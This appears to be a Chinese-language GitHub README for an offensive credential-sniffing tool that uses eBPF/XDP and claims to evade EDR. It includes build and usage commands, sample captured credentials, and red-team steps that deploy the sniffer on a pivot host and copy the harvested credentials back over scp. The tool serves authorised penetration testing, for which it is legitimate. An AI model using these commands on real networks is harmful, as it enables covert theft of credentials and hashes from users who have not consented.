jankesec/driftnet2

GitHub: jankesec/driftnet2

一款内核级网络嗅探工具,通过 eBPF/XDP 或 libpcap 从实时流量与离线 PCAP 中提取多种协议的凭证并检测 DNS 隧道。

Stars: 0 | Forks: 0

# Driftnet2 **内核级网络嗅探与凭证提取器 — 支持 8 种协议,具备 eBPF XDP 隐身能力,零 EDR 痕迹。** [![Go](https://img.shields.io/badge/Go-1.21+-00ADD8?style=flat&logo=go)](https://go.dev) [![License](https://img.shields.io/badge/license-MIT-blue)](LICENSE) [![Protocols](https://img.shields.io/badge/protocols-8-green)]() [![eBPF](https://img.shields.io/badge/eBPF-Linux%205.8+-orange)](https://ebpf.io) Driftnet2 可以从实时网络流量中静默提取凭证、session token 和 NTLM 哈希。它在两个层面运行:Linux 上的 **eBPF/XDP 内核钩子**(对 EDR/XDR 不可见),以及 macOS/BSD 上的 **AF_PACKET/libpcap**。它能够解析 8 种协议 —— HTTP、DNS、SMB、LDAP、FTP、Telnet、POP3/IMAP、SMTP —— 并实时检测 DNS 隧道。 ## 架构 ``` ┌──────────────────┐ │ NETWORK CARD │ └────────┬─────────┘ │ ┌────────────▼────────────┐ │ eBPF XDP Hook (kernel)│ kernel-level, EDR-invisible │ filter → ring buffer │ └────────────┬────────────┘ │ perf ring buffer ┌────────────▼────────────┐ │ Go Userspace │ │ ┌──────────────────┐ │ │ │ Protocol Parsers│ │ │ │ HTTP/DNS/SMB/LDAP│ │ │ │ FTP/Telnet/POP3 │ │ │ │ IMAP/SMTP │ │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ Credential Regex │ │ │ └────────┬─────────┘ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ TUI / JSON / PCAP│ │ │ └──────────────────┘ │ └─────────────────────────┘ ``` ## 提取的凭证 | # | 协议 | 端口 | 凭证类型 | 示例 | |---|----------|------|----------------|---------| | 1 | **HTTP** | 80,443 | Basic Auth, POST 表单, Bearer, Cookie | `admin:Spring2026!` | | 2 | **DNS** | 53 | 隧道检测(长子域名,高熵值) | `payload.c2.example.com` | | 3 | **SMB** | 445 | NTLMv2 哈希(用户、域、hashcat 格式) | `DOMAIN\admin::hash` | | 4 | **LDAP** | 389 | 简单绑定 (`cn=admin:password`) | `cn=admin,dc=corp:pass` | | 5 | **FTP** | 21 | USER/PASS 命令 | `ftpadmin:ftppass` | | 6 | **Telnet** | 23 | 登录提示符 | `root:cisco123` | | 7 | **POP3** | 110 | USER/PASS 认证 | `user@corp.com:pass` | | 8 | **IMAP** | 143 | LOGIN 命令 | `user@corp.com:pass` | | 9 | **SMTP** | 25,587 | AUTH LOGIN/PLAIN | `user@corp.com:pass` | ## 快速开始 ``` git clone https://github.com/byjanke/driftnet2 && cd driftnet2 go build -o driftnet2 ./cmd/driftnet2 ``` **实时嗅探 — 仅 HTTP 凭证:** ``` ./driftnet2 -iface en0 --proto http ``` **所有协议,保存为 JSON + PCAP:** ``` ./driftnet2 -iface eth0 -w capture.pcap -output creds.json ``` **离线 PCAP 分析:** ``` ./driftnet2 -pcap dump.pcap --proto http,dns,ftp ``` **Linux eBPF/XDP 模式(需要 root 权限,内核 5.8+):** ``` make bpf # compile eBPF (needs clang) sudo ./driftnet2 -iface eth0 # auto-detects XDP ``` ## 红队场景 **捕获内部网络上的明文协议:** ``` # FTP、Telnet、POP3 在 corp 网络中通常为明文 ./driftnet2 -iface eth1 --proto ftp,telnet,pop3,smtp -w internal.pcap ``` ``` [14:32:15] FTP 10.0.0.5 → 10.0.1.100:21 ftpadmin:Spring2026! [14:32:22] Telnet 10.0.0.12 → 192.168.1.1:23 root:cisco123 ``` **嗅探域控流量以获取 NTLM 哈希:** ``` ./driftnet2 -iface eth0 --proto smb,ldap -output hashes.json ``` ``` [14:33:45] SMB 10.0.0.42 → 10.0.0.1:445 CORP\jsmith::a1b2c3d4... ``` **部署在跳板机上,收集凭证并进行数据外发:** ``` scp driftnet2 user@pivot:/tmp/driftnet2 ssh user@pivot "sudo /tmp/driftnet2 -iface eth1 -output /tmp/creds.json &" sleep 300 # 5 minutes scp user@pivot:/tmp/creds.json . ``` **DNS 隧道猎手 — 检测隐藏在 DNS 查询中的 C2:** ``` ./driftnet2 -iface eth0 --proto dns -v ``` ``` [14:35:10] DNS 10.0.0.15 → 8.8.8.8:53 TUNNEL: AQIDBAUG.c2.example.com (TXT) ``` ## 对比 | | driftnet2 | bettercap | net-creds | pcredz | tshark | |---|:---:|:---:|:---:|:---:|:---:| | eBPF/XDP 内核嗅探 | ✓ | — | — | — | — | | EDR 不可见 | ✓ | — | — | — | — | | HTTP Basic + POST + Bearer + Cookie | ✓ | 仅 basic | ✓ | — | 手动 | | SMB NTLM (hashcat 格式) | ✓ | — | — | — | 手动 | | DNS 隧道检测 | ✓ | — | — | — | — | | FTP / Telnet / POP3 / IMAP / SMTP | ✓ | — | — | — | 手动 | | 离线 PCAP 分析 | ✓ | — | ✓ | ✓ | ✓ | | 实时 PCAP 写入 | ✓ | ✓ | — | — | ✓ | | JSON 导出 | ✓ | ✓ | — | — | — | | 终端仪表盘 | ✓ | ✓ | — | — | — | | 单一二进制文件(无需 Python/Ruby) | ✓ 5MB | ✓ 15MB | — | — | ✓ | | 跨平台 (Linux/macOS/BSD) | ✓ | ✓ | ✓ | — | ✓ | | 持续维护 | 2026 | ✓ | 2014 | 2015 | ✓ | ## 项目结构 ``` driftnet2/ ├── bpf/xdp_sniff.c eBPF XDP C program (130 LoC) ├── cmd/driftnet2/main.go CLI entry point ├── pkg/ │ ├── ebpf/loader.go cilium/ebpf loader + ring buffer │ ├── sniffer/ │ │ ├── sniffer.go pcap live + offline reader │ │ ├── xdp.go XDP wrapper (unified interface) │ │ └── writer.go PCAP file writer │ ├── protocol/protocol.go 8 protocol parsers │ └── output/ │ ├── tui.go Terminal dashboard │ └── json.go JSON export ├── Makefile └── README.md ``` ## 免责声明 仅供**授权的渗透测试、红队评估和安全研究**使用。未经明确授权捕获网络流量是违法行为。 ## License MIT
标签:Docker镜像, eBPF/XDP, EVTX分析, 凭据提取, 日志审计, 网络嗅探, 网络安全, 防御绕过, 隐私保护